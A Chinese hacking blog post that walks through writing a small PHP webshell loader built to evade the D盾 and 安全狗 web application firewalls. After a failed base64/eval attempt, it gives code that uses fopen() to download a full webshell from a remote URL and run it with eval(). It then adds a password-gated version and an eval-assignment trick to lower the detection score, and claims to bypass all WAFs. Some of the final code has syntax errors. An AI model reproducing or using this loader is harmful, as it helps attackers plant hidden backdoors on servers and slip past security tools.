打造一款1kb大马并且处理D盾以及安全狗拦截与查杀

Prat 0 自白

最近因为个人性格原因退了团队(可能也不会有团队收我了)
其实心里也是不怎么开心的,可是路还是要继续走的。
在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。
可是发现怎么也过不去查杀,更别说拦截了。
对此无奈,只好花了个通宵去处理一下。
顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。

Prat 1 目录

一:base64编码,处理eval函数进行绕过(失败)
二:巧妙利用fopen函数绕过waf
三:fopen函数处理eval拦截问题
四:对此次一次总结

Prat 2 起源

一:base64编码,处理eval函数进行绕过(失败)

之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
于是决定开端先处理一下eval看看能不能进行绕过
image

eval直接执行base64解码

可以成功执行,但是被D盾报4级,这样肯定是不行的
image
image

base64编码思路宣告失败

发现D盾似乎对base64_decode()函数独有情钟- -#
不管怎么处理只能处理到二级,安全狗倒是已经过去了
image
代码:

1
2
3
4
5
<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

image

Prat 3 失落

巧妙利用fopen函数绕过waf

发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
不过失败是成功他亲爹,只好继续想新思路。
之前写过一篇水文,叫做隐藏在黑页下的大马.
不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
首先我们来看一下fopen函数
fopen() //fopen()函数打开文件或者 URL。

思路

通过fopen打开远程url的txt文件存入一个变量中,在执行。
说干就干,首先把一份大马去掉<?以及?>
然后存入一个txt中,确保打开的时候能打开。
可能这里就有人问了,txt放哪里?
这里我只想说,心里没点B数?

大马地址:http://127.0.0.1/bh/test.txt

举个例子:

1
2
3
4
5
6
7
8
9
<?php 
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
echo $content1;
fclose($handle1);
?>

image
发现已经获取成功了,那么我们只需要eval执行一下就可以了

1
2
3
4
5
6
7
8
9
<?php 
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
eval($content1);
fclose($handle1);
?>

image
首先看一下安全狗是否拦截

大马地址:http://192.168.1.110/bh/test.txt
webshell地址:192.168.1.104/test/php.php

image
ok,可以看见安全狗以及绕过了,并且可以正常使用
补一张没做过处理大马访问图
image
不过问题来了,D盾报一级拦截,我顿时想说mmp。
image
之前处理一句话的时候,也是经常报我一级- -#
继续抽了支烟,然后继续处理这个错误

Prat 4 希望

fopen函数处理eval拦截问题

这里没什么思路完全是因为bypass小分队的大佬帮我处理的。
image
贴一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(E_ERROR);
if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
if($_POST[$_GET['test'] == "test"){
$handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
$content1 = '';
while(false != ($a1 = fread($handle1, 8080))){
$content1 .= $a1;
}
print(eval($a1=$content1));
fclose($handle1);
}
$handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content = '';
while(false != ($a = fread($handle, 8080))){
$content .= $a;
}
print(eval($a=$content));
fclose($handle);
}
?>

一句话地址:http://127.0.0.1/bh/test2.txt
webshell地址:http://127.0.0.1/bh/test.txt

image
说一下代码

1
if(isset($_GET['submit']) && $_GET['pass'] == "admin")

这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个

1
if($_POST[$_GET['test'] == "test")

这一部分是用来进入一句话的,当然你也可以删掉

再来说说处理eval一级,其实很简单,我也是bypass小分队老司机说了才知道的~~~

1
eval($a1=$content1);

看这一行代码,相信大家就已经知道了。:-) :-) :-)

Prat 5 总结

前人失效的思路不代表着没有继续扩展的意义。
多想多做多实战,发现其实waf也就那回事。
无非就是在原有的基础上加了几行代码。